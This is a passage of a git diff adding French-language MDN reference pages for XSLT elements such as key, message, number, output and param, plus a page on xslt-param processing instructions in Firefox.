+ <li><a href="/fr/docs/L'interface_XSLT_JavaScript_dans_Gecko/fr/XSLT_dans_Gecko">XSLT dans Gecko</a></li>
+ <li><a href="/fr/docs/L'interface_XSLT_JavaScript_dans_Gecko/fr/Utilisation_de_l'interface_JavaScript_de_Mozilla_pour_les_transformations_XSL">Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL</a></li>
+ <li><a class="external" href="/en-US/docs/Web/XSLT">Page du projet XSLT sur Mozilla.org (en)</a>, qui contient une section concernant les problèmes fréquemment rencontrés.</li>
+ <li><a class="external" href="https://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk30/htm/xmconusingthexslprocessor.asp">MSDN documentation on IE/XSLT bindings (en)</a></li>
+</ul>
+
+<p>{{Previous("L\'interface XSLT/JavaScript dans Gecko:Liste des interfaces")}}</p>
diff --git a/files/fr/web/xslt/key/index.html b/files/fr/web/xslt/key/index.html
new file mode 100644
index 0000000000..f8065b84a6
--- /dev/null
+++ b/files/fr/web/xslt/key/index.html
@@ -0,0 +1,35 @@
+---
+title: key
+slug: Web/XSLT/key
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/key
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:key&gt;</code> déclare une clef nommée qui peut être utilisée dans toute la feuille de styles à l'aide de la fonction <code>key( )</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:key name=NOM match=EXPRESSION
+	use=EXPRESSION /&gt; </pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit un nom pour cette clef. Le nom doit être un QName valide.
+</dd><dt><code>match</code>
+</dt><dd>Définit les nœuds sur lesquels cette clef est applicable.
+</dd><dt><code>use</code>
+</dt><dd>Définit une expression XPath qui sera utilisée pour déterminer la valeur de la clef pour chacun des nœuds sur lesquels elle est applicable.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être l'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#key" class="external">XSLT 1.0, section 12.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/key", "es": "es/XSLT/key", "pl": "pl/XSLT/key" } ) }}
diff --git a/files/fr/web/xslt/message/index.html b/files/fr/web/xslt/message/index.html
new file mode 100644
index 0000000000..d39aff3207
--- /dev/null
+++ b/files/fr/web/xslt/message/index.html
@@ -0,0 +1,31 @@
+---
+title: message
+slug: Web/XSLT/message
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/message
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:message&gt;</code> écrit un message de sortie (dans la console JavaScript) et, éventuellement, met fin à l'exécution de la feuille de styles. Il peut être utile pour le débogage.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:message terminate="yes" | "no" &gt;
+	MODÈLE
+&lt;/xsl:message&gt;</pre> <h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>terminate</code>
+</dt><dd>Défini à <code>yes</code>, il indique que l'exécution doit être interrompue. La valeur par défaut est <code>no</code> : dans ce cas, le message est envoyé et l'exécution se poursuit.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#message" class="external">XSLT 1.0, section 13</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/message", "es": "es/XSLT/message", "pl": "pl/XSLT/message" } ) }}
diff --git a/files/fr/web/xslt/namespace-alias/index.html b/files/fr/web/xslt/namespace-alias/index.html
new file mode 100644
index 0000000000..17f8ffdba1
--- /dev/null
+++ b/files/fr/web/xslt/namespace-alias/index.html
@@ -0,0 +1,33 @@
+---
+title: namespace-alias
+slug: Web/XSLT/namespace-alias
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/namespace-alias
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:namespace-alias&gt;</code> est un dispositif rarement utilisé qui établit une équivalence entre un espace de nommage d'une feuille de styles et un espace de nommage différent dans l'arbre de sortie. L'utilisation la plus courante de cet élément est la génération d'une feuille de styles depuis une autre feuille de styles. Pour éviter qu'un élément résultat correctement préfixé par <code>xsl:</code> (qui doit être copié tel quel dans l'arbre résultant) soit interprêté à tort par le processeur, il lui est assigné un espace de nommage temporaire qui est convenablement reconverti en l'espace de nommage XSLT dans l'arbre de sortie.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">&lt;xsl:namespace-alias stylesheet-prefix=NOM result-prefix=NOM /&gt;
+</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<dl><dt><code>stylesheet-prefix</code>
+</dt><dd>Définit l'espace de nommage temporaire.
+</dd><dt><code>result-prefix</code>
+</dt><dd>Définit l'espace de nommage voulu pour l'arbre de sortie.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être l'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#literal-result-element" class="external">XSLT 1.0, section 7.1.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Pas encore supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/namespace-alias", "es": "es/XSLT/namespace-alias", "pl": "pl/XSLT/namespace-alias" } ) }}
diff --git a/files/fr/web/xslt/number/index.html b/files/fr/web/xslt/number/index.html
new file mode 100644
index 0000000000..3cdc34ff4e
--- /dev/null
+++ b/files/fr/web/xslt/number/index.html
@@ -0,0 +1,98 @@
+---
+title: number
+slug: Web/XSLT/number
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/number
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:number&gt;</code> compte des éléments de façon séquentielle. Il peut également être utilisé pour formater rapidement un nombre.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:number
+	count=EXPRESSION
+	level="single" | "multiple" | "any"
+	from=EXPRESSION
+	value=EXPRESSION
+	format=FORMAT-CHAÎNE
+	lang=XML:CODE-LANG
+	letter-value="alphabetic" | "traditional"
+	grouping-separator=CARACTÈRE
+	grouping-size=NOMBRE  /&gt;</pre> <h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>count</code>
+</dt><dd>Définit les éléments devant être numérotés de façon séquentielle dans l'arbre source. Il utilise une expression XPath.
+</dd></dl>
+<dl><dt><code>level</code>
+</dt><dd>Définit la manière dont les niveaux de l'arbre source doivent pris en compte lors de la génération des nombres séquentiels. Les trois valeurs possibles sont : <code>single</code>, <code>multiple</code> et <code>any</code>. La valeur par défaut est <code>single</code> :
+</dd></dl>
+<dl><dd><dl><dt><code>single</code>
+</dt><dd>Numérote de façon séquentielle les nœuds descendants d'un même parent, à la manière des éléments d'une liste. Le processeur va au premier nœud dans l'axe <a href="fr/XPath/Axes/ancestor-or-self"><code>ancestor-or-self</code></a> qui correspond à l'attribut <code>count</code>, puis compte ce nœud ainsi que tous les nœuds précédents issus de son parent (il s'arrête lorsqu'il rencontre une référence à l'attribut <code>from</code>, si il en trouve une) qui correspond également à l'attribut <code>count</code>. Si aucune correspondance n'est trouvée, la séquence produite sera une liste vide.
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt><code>multiple</code>
+</dt><dd>Numérote les nœuds avec une séquence composite qui reflète la position hiérarchique du nœud, par exemple 1.2.2.5. (le format peut être défini avec l'attribut <code>format</code>, par exemple A.1.1). Le processeur vérifie tous les <a href="fr/XPath/Axes/ancestor"><code>ancestors</code></a> du nœud courant ainsi que le nœud lui-même, il s'arrête lorsqu'il rencontre une correspondance avec l'attribut <code>from</code>, si il y en a une. Pour chaque nœud de la liste qui vérifie l'attribut <code>count</code>, le processeur compte combien il possède de frères vérifiant également cet attribut, et ajoute un pour le nœud lui-même. Si aucune correspondance n'est trouvée, la séquence produite sera une liste vide.
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt><code>any</code> (Non supporté à l'heure actuelle)
+</dt><dd>Numérote tous les nœuds vérifiant <code>count</code> de façon séquentielle, sans considération de niveau. Les axes <a href="fr/XPath/Axes/ancestor"><code>ancestor</code></a>, <a href="fr/XPath/Axes/self"><code>self</code></a> et <a href="fr/XPath/Axes/preceding"><code>preceding</code></a> sont tous pris en compte. Le processeur débute au nœud courant et continue dans l'ordre inverse du document, s'arrêtant s'il rencontre une correspondance avec un attribut <code>from</code>. Si aucune correspondance avec l'attribut <code>count</code> n'est trouvé,e la séquence produite sera une liste vide. Ce niveau n'est pas supporté à l'heure actuelle.
+</dd></dl>
+</dd></dl>
+<dl><dt>from
+</dt><dd>Définit l'endroit où la numérotation doit débuter. La séquence débute avec le premier descendant du nœud vérifiant l'attribut <code>from</code>.
+</dd></dl>
+<dl><dt>value
+</dt><dd>Applique un format donné à un nombre. C'est un moyen rapide de formater un nombre fourni par l'utilisateur dans un des formats standards de <code>&lt;xsl:number&gt;</code>.
+</dd></dl>
+<dl><dt>format
+</dt><dd>Définit le format du nombre généré :
+</dd></dl>
+<dl><dd><dl><dt>format="1"
+</dt><dd> &lt;tt&gt;1 2 3 …&lt;/tt&gt; (C'est le seul format supporté à ce jour)
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="01"
+</dt><dd> &lt;tt&gt;01 02 03 … 09 10 11 …&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="a"
+</dt><dd> &lt;tt&gt;a b c … y z aa ab …&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="A"
+</dt><dd> &lt;tt&gt;A B C … Y Z AA AB …&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="i"
+</dt><dd> &lt;tt&gt;i ii iii iv v …&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="I"
+</dt><dd> &lt;tt&gt;I II III IV V …&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dt>lang (Non supporté à l'heure actuelle)
+</dt><dd>Définit les alphabets pouvant être utilisés pour les formats de numérotation basés sur les lettres.
+</dd></dl>
+<dl><dt>letter-value
+</dt><dd>Permet de lever l'ambiguïté sur les séquences numérotées qui utilisent des lettres. Certaines langues possèdent plus d'un système de numérotation utilisant les lettres. Si deux systèmes commencent avec le même glyphe, il peut y avoir une ambiguïté. Ce attribut peut avoir la valeur <code>alphabetic</code> ou <code>traditional</code>. La valeur par défaut est <code>alphabetic</code>.
+</dd></dl>
+<dl><dt>grouping-separator
+</dt><dd>Définit le caractère devant être utilisé pour les séparations des groupes (par exemple, le séparateur des milliers). Le caractère par défaut est la virgule (<code>,</code>).
+</dd></dl>
+<dl><dt>grouping-size
+</dt><dd>Définit le nombre de chiffres formant un groupe. La valeur par défaut est <code>3</code>.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#number">XSLT 1.0, section 7.7</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Support partiel. Voir les commentaires ci-dessus.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/number", "es": "es/XSLT/number", "pl": "pl/XSLT/number" } ) }}
diff --git a/files/fr/web/xslt/otherwise/index.html b/files/fr/web/xslt/otherwise/index.html
new file mode 100644
index 0000000000..d39df0a592
--- /dev/null
+++ b/files/fr/web/xslt/otherwise/index.html
@@ -0,0 +1,30 @@
+---
+title: otherwise
+slug: Web/XSLT/otherwise
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/otherwise
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:otherwise&gt;</code> est utilisé pour définir une action qui doit être exécutée lorsqu'aucune condition <code>&lt;xsl:when&gt;</code> ne s'applique. Elle est comparable aux instructions <code>else</code> ou <code>default</code> d'autres langages de programmation.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:otherwise&gt;
+	MODÈLE
+&lt;/xsl:otherwise&gt;</pre> <h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Sous-instruction, doit apparaître comme le dernier enfant d'un élément <code>&lt;xsl:choose&gt;</code>, dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose" class="external">XSLT 1.0, section 9.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/otherwise", "es": "es/XSLT/otherwise", "pl": "pl/XSLT/otherwise" } ) }}
diff --git a/files/fr/web/xslt/output/index.html b/files/fr/web/xslt/output/index.html
new file mode 100644
index 0000000000..3c4296c1cd
--- /dev/null
+++ b/files/fr/web/xslt/output/index.html
@@ -0,0 +1,67 @@
+---
+title: output
+slug: Web/XSLT/output
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/output
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:output&gt;</code> contrôle les caractéristiques du document de sortie. Pour fonctionner correctement dans Netscape, cet élément doit être utilisé, avec l'attribut <code>method</code>. À partir de Netscape 7.0, <code>method="text"</code> fonctionne comme prévu.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:output
+	method="xml" | "html" | "text"
+	version=CHAÎNE
+	encoding=CHAÎNE
+	omit-xml-declaration="yes" | "no"
+	standalone="yes" | "no"
+	doctype-public=CHAÎNE
+	doctype-system=CHAÎNE
+	cdata-section-elements=LISTE-DE-NOMS
+	indent="yes" | "no"
+	media-type=CHAÎNE  /&gt;
+</pre> <h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels</h3>
+<dl><dt><code>method</code>
+</dt><dd>Définit le format de sortie.
+</dd></dl>
+<dl><dt><code>version</code>
+</dt><dd>Définit la valeur de l'attribut version dans la déclaration XML ou HTML du document de sortie. Cet attribut n'est utilisé qu'avec <code>method="html"</code> ou <code>method="xml"</code>.
+</dd></dl>
+<dl><dt><code>encoding</code>
+</dt><dd>Définit la valeur de l'attribut <code>encoding</code> dans le document de sortie.
+</dd></dl>
+<dl><dt><code>omit-xml-declaration</code>
+</dt><dd>Indique d'inclure ou non, une déclaration XML dans le document de sortie. Les valeurs possibles sont <code>yes</code> ou <code>no</code>.
+</dd></dl>
+<dl><dt><code>standalone</code> (Non supporté)
+</dt><dd>Indique, si utilisé, qu'une déclaration autonome doit être incluse dans le document de sortie et donne sa valeur. Les valeurs possibles sont <code>yes</code> ou <code>no</code>.
+</dd></dl>
+<dl><dt><code>doctype-public</code>
+</dt><dd>Définit la valeur de l'attribut <code>PUBLIC</code> de la déclaration du <code>DOCTYPE</code> dans le document de sortie.
+</dd></dl>
+<dl><dt><code>doctype-system</code>
+</dt><dd>Définit la valeur de l'attribut <code>SYSTEM</code> de la déclaration du <code>DOCTYPE</code> dans le document de sortie.
+</dd></dl>
+<dl><dt><code>cdata-section-elements</code>
+</dt><dd>Liste les éléments dont le contenu texte doit être écrit en tant que section <code>CDATA</code>. Les éléments sont séparés par des espaces.
+</dd></dl>
+<dl><dt><code>indent</code> (Non supporté.)
+</dt><dd>Spécifie si la sortie doit indentée pour indiquer sa structure hiérarchique.
+</dd></dl>
+<dl><dt><code>media-type</code> (Non supporté.)
+</dt><dd>Définit le type MIME du document de sortie.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être l'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#output" class="external">XSLT 1.0, section 16</a>.
+</p>
+<h3 id="Gecko_support" name="Gecko_support"> Gecko support </h3>
+<p>Support partiel. Voir les commentaires ci-dessus.
+</p><p><span class="comment">Interwiki languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/output", "pl": "pl/XSLT/output" } ) }}
diff --git a/files/fr/web/xslt/param/index.html b/files/fr/web/xslt/param/index.html
new file mode 100644
index 0000000000..56f1426050
--- /dev/null
+++ b/files/fr/web/xslt/param/index.html
@@ -0,0 +1,33 @@
+---
+title: param
+slug: Web/XSLT/param
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/param
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:param&gt;</code> définit un paramètre par son nom et, éventuellement, lui attribue une valeur par défaut. Lorsqu'il est utilisé comme élément de premier niveau, le paramètre est global. Utilisé dans un élément <code>&lt;xsl:template&gt;</code>, le paramètre est local à ce modèle. Dans ce dernier cas, il doit être le premier élément enfant du modèle.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:param name=NOM select=EXPRESSION&gt;
+	MODÈLE
+&lt;/xsl:param&gt;</pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>name</code>
+</dt><dd>Nomme le paramètre. Le nom doit être un QName valide.
+</dd></dl>
+<h3 id="Attribut_optionnel" name="Attribut_optionnel"> Attribut optionnel </h3>
+<dl><dt><code>select</code>
+</dt><dd>Utilise une expression XPath pour fournir une valeur par défaut si elle n'est pas spécifiée.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, peut apparaître comme élément de premier niveau ou dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#variables" class="external">XSLT 1.0, section 11</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/param", "pl": "pl/XSLT/param" } ) }}
diff --git a/files/fr/web/xslt/paramètres_des_instructions_de_traitement/index.html b/files/fr/web/xslt/paramètres_des_instructions_de_traitement/index.html
new file mode 100644
index 0000000000..057d35fca8
--- /dev/null
+++ b/files/fr/web/xslt/paramètres_des_instructions_de_traitement/index.html
@@ -0,0 +1,128 @@
+---
+title: Paramètres des instructions de traitement
+slug: Web/XSLT/Paramètres_des_instructions_de_traitement
+tags:
+  - XSLT
+translation_of: Web/XSLT/PI_Parameters
+---
+<h3 id="Pr.C3.A9sentation" name="Pr.C3.A9sentation">Présentation</h3>
+
+<p>XSLT permet de passer des paramètres à une feuille de style lors de son exécution. C'était déjà possible depuis quelques temps dans l'<a href="fr/XSLTProcessor">XSLTProcessor</a> sous JavaScript, mais pas lors de l'utilisation de l'instruction de traitement (<em>PI</em>, pour Processing Instruction) <code>&lt;?xml-stylesheet?&gt;</code>.</p>
+
+<p>Pour résoudre cela, deux nouvelles PI (Instructions de traitement) ont été implémentées dans <a href="fr/Firefox_2">Firefox 2</a> (voir {{ Anch("Versions supportées") }} plus bas pour plus de détails), <code>&lt;?xslt-param?&gt;</code> et <code>&lt;?xslt-param-namespace?&gt;</code>. Ces deux PI peuvent contenir des « pseudo attributs » de la même manière que la PI (Instruction de traitement) <code>xml-stylesheet</code>.</p>
+
+<p>L'exemple suivant passe les deux paramètres <code>color</code> et <code>size</code> à la feuille de style style.xsl :</p>
+
+<pre class="eval">&lt;?xslt-param name="color" value="blue"?&gt;
+&lt;?xslt-param name="size" select="2"?&gt;
+&lt;?xml-stylesheet type="text/xsl" href="style.xsl"?&gt;
+</pre>
+
+<p>Notez que ces PI n'ont aucun effet lorsque la transformation est faite à l'aide de l'objet <code>XSLTProcessor</code> en JavaScript.</p>
+
+<h3 id="Instructions_de_traitement" name="Instructions_de_traitement">Instructions de traitement</h3>
+
+<p>Les attributs des PI <code>xslt-param</code> et <code>xslt-param-namespace</code> sont analysés en utilisant les règles définies dans <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">xml-stylesheet</a>. Tous les attributs non reconnus sont ignorés. L'analyse d'un attribut n'échouera pas à cause de la présence d'un attribut non reconnu tant que cet attribut respecte la syntaxe définie dans <code>xml-stylesheet</code>.</p>
+
+<p>Les deux instructions de traitement <code>xslt-param</code> et <code>xslt-param-namespace</code> doivent apparaître dans le prologue du document, c'est-à-dire avant la balise du premier élément. Toutes les PI du prologue sont exécutées, celles présentes avant une PI <code>xml-stylesheet</code> comme celles présentes après.</p>
+
+<p>S'il existe plusieurs PI <code>xml-stylesheet</code> les paramètres s'appliquent à toutes les feuilles de style, conséquence du fait que selon la spécification XSLT, toutes les feuilles de style sont importées concaténées en une seule feuille.<span class="comment">reference?</span> Notez que les PI XSLT <code>xml-stylesheet</code> multiples ne sont pas supportées par Firefox à l'heure actuelle.</p>
+
+<h4 id="xslt-param" name="xslt-param">xslt-param</h4>
+
+<p>La PI <code>xslt-param</code> accepte quatre attributs :</p>
+
+<dl>
+ <dt>name</dt>
+ <dd>La partie locale du nom du paramètre. Aucune vérification de syntaxe n'est faite pour cet attribut. Cependant, si ce n'est pas un <a class="external" href="http://www.w3.org/TR/REC-xml-names/#NT-NCName">NCName</a> valide, il ne correspondra à aucun paramètre de la feuille de style.</dd>
+ <dt>namespace</dt>
+ <dd>L'espace de nommage du nom du paramètre. Aucune vérification de syntaxe n'est faite pour cet attribut.</dd>
+ <dt>value</dt>
+ <dd>Contient la valeur de chaîne du paramètre. La valeur de l'attribut est utilisée comme valeur du paramètre. Le type de donnée sera toujours<em>chaîne</em>.</dd>
+ <dt>select</dt>
+ <dd>Un expression <a href="fr/XPath">XPath</a> pour le paramètre. La valeur de cet attribut est analysée comme une expressions XPath. Le résultat de l'évaluation de l'expression est utilisé comme valeur pour le paramètre.</dd>
+</dl>
+
+<p>Si l'attribut <strong>name</strong> est absent ou vide, la PI est ignorée.</p>
+
+<p>Si l'attribut <strong>namespace</strong> est absent ou vide, l'espace de nommage <code>null</code> est utilisé.</p>
+
+<p>Spécifier un nom de paramètre qui n'existe pas dans la feuille de style (ou qui soit une variable dans la feuille de style) n'est pas une erreur. La PI est simplement ignorée dans ce cas.</p>
+
+<p>Si les attributs <strong>value</strong> et <strong>select</strong> sont tous deux présents (ou absents) la PI est ignorée.</p>
+
+<p>Notez que <code>value="..."</code> n'est pas strictement égal à <code>select="'...'"</code> car value peut contenir à la fois des caractères apostrophe et des caractères guillemet.</p>
+
+<h5 id="Exemples" name="Exemples">Exemples</h5>
+
+<p>Le paramètre <code>color</code> contient la chaîne <code>red</code> :</p>
+
+<pre class="eval">&lt;?xslt-param name="color" value="red"?&gt;
+</pre>
+
+<p>Le paramètre <code>columns</code> contient <code>2</code> :</p>
+
+<pre class="eval">&lt;?xslt-param name="columns" select="2"?&gt;
+</pre>
+
+<p>Le paramètre <code>books</code> contient l'ensemble de noeuds qui regroupe tous les éléments <code>&lt;book&gt;</code> de l'espace de nommage <code>null</code> :</p>
+
+<pre class="eval">&lt;?xslt-param name="books" select="//book"?&gt;
+</pre>
+
+<p>Le paramètre <code>show-toc&lt;code&gt; contient le booléen &lt;code&gt;true</code> :</p>
+
+<pre class="eval"> &lt;?xslt-param name="show-toc" select="true()"?&gt;
+</pre>
+
+<h5 id="Le_contexte_de_l.27attribut_select" name="Le_contexte_de_l.27attribut_select">Le contexte de l'attribut<em>select</em></h5>
+
+<p>Le contexte suivant est utilisé pour analyser et évaluer l'expression de l'attribut <strong>select</strong>.</p>
+
+<ul>
+ <li>Le nœud de contexte est le nœud utilisé comme nœud courant initial lors de l'exécution de la feuille de style.</li>
+ <li>La position du contexte est la position du noeud de contexte dans la liste initiale de nœuds courants utilisée lors de l'exécution de la feuille de style.</li>
+ <li>La taille du contexte est la taille de la liste initiale de nœuds courants utilisée lors de l'exécution de la feuille de style.</li>
+ <li>Aucune variable n'est disponible.</li>
+ <li>La bibliothèque de fonctions est la bibliothèque standard de fonctions XPath.</li>
+ <li>Les déclarations d'espace de nommage sont déterminées par les PI <code>xslt-param-namespace</code>, voir ci-dessous.</li>
+</ul>
+
+<p>Si l'attribut <strong>select</strong> ne peut pas être analysé ou exécuté, la PI est ignorée (en particulier, l'attribut <strong>value</strong> ne sera pas utilisé comme valeur de secours).</p>
+
+<h4 id="xslt-param-namespace" name="xslt-param-namespace">xslt-param-namespace</h4>
+
+<p><code>xslt-param-namespace</code> accepte deux attributs :</p>
+
+<dl>
+ <dt>prefix</dt>
+ <dd>Le préfixe mappé.</dd>
+ <dt>namespace</dt>
+ <dd>L'espace de nommage vers lequel le préfixe mappe.</dd>
+</dl>
+
+<p>Une PI <code>xslt-param-namespace</code> affecte l'expression de l'attribut <strong>select</strong> de tous les <code>xslt-param</code> qui la suivent. Cela s'applique même s'il y a d'autres nœuds tels que des commentaires ou d'autres PI entre les PI <code>xslt-param-namespace</code> et <code>xslt-param</code>.</p>
+
+<p>Utiliser le même préfixe pour plusieurs instructions de traitement n'est pas une erreur, chaque nouvelle PI ne fait que changer l'espace de nommage vers lequel le préfixe renvoie.</p>
+
+<p>Si <strong>prefix</strong> est absent, vide ou égal un à NCName invalide, la PI est ignorée.</p>
+
+<p>Si <strong>namespace</strong> est absent, la PI est ignorée. Si <strong>namespace</strong> est vide, le mappage du préfixe est supprimé.</p>
+
+<h5 id="Exemples_2" name="Exemples_2">Exemples</h5>
+
+<p>Le paramètre <code>books</code> contient l'ensemble de noeuds qui regroupe tous les éléments <code>&lt;book&gt;</code> de l'espace de nommage <code><span class="nowiki">http://www.example.org/myNamespace</span></code> :</p>
+
+<pre class="eval">&lt;?xslt-param-namespace prefix="my" namespace="<span class="nowiki">http://www.example.org/myNamespace</span>"?&gt;
+&lt;?xslt-param name="books" select="//my:book"?&gt;
+</pre>
+
+<h3 id="Versions_support.C3.A9es" name="Versions_support.C3.A9es">Versions supportées</h3>
+
+<p>Supportées depuis Firefox 2.0.0.1. Dans la version 2, l'attribut <strong>value</strong> est supporté mais l'attribut <strong>select</strong> provoque des plantages pour certaines expressions.</p>
+
+<h3 id="Possibilit.C3.A9s_de_d.C3.A9veloppements_futurs" name="Possibilit.C3.A9s_de_d.C3.A9veloppements_futurs">Possibilités de développements futurs</h3>
+
+<p>Devons-nous autoriser n'importe quelle fonction XSLT dans les expressions ? <code>document()</code> semble utile, mais il semble difficile de conserver le fait que <code>generate-id()</code> devrait produire la même chaîne pour un même document.</p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/fr/web/xslt/preserve-space/index.html b/files/fr/web/xslt/preserve-space/index.html
new file mode 100644
index 0000000000..e0300d426b
--- /dev/null
+++ b/files/fr/web/xslt/preserve-space/index.html
@@ -0,0 +1,31 @@
+---
+title: preserve-space
+slug: Web/XSLT/preserve-space
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/preserve-space
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:preserve-space&gt;</code> définit les éléments du document source pour lesquels les espaces doivent être préservées. Si il y a plus d'un élément, leurs noms doivent être séparés par des espaces. La politique par défaut est de conserver les espaces, cet élément n'est donc utile que pour contrer l'effet de <code>&lt;xsl:strip-space&gt;</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">&lt;xsl:preserve-space elements=LISTE-DE-NOMS-D-ÉLÉMENTS  /&gt;
+</pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>elements</code>
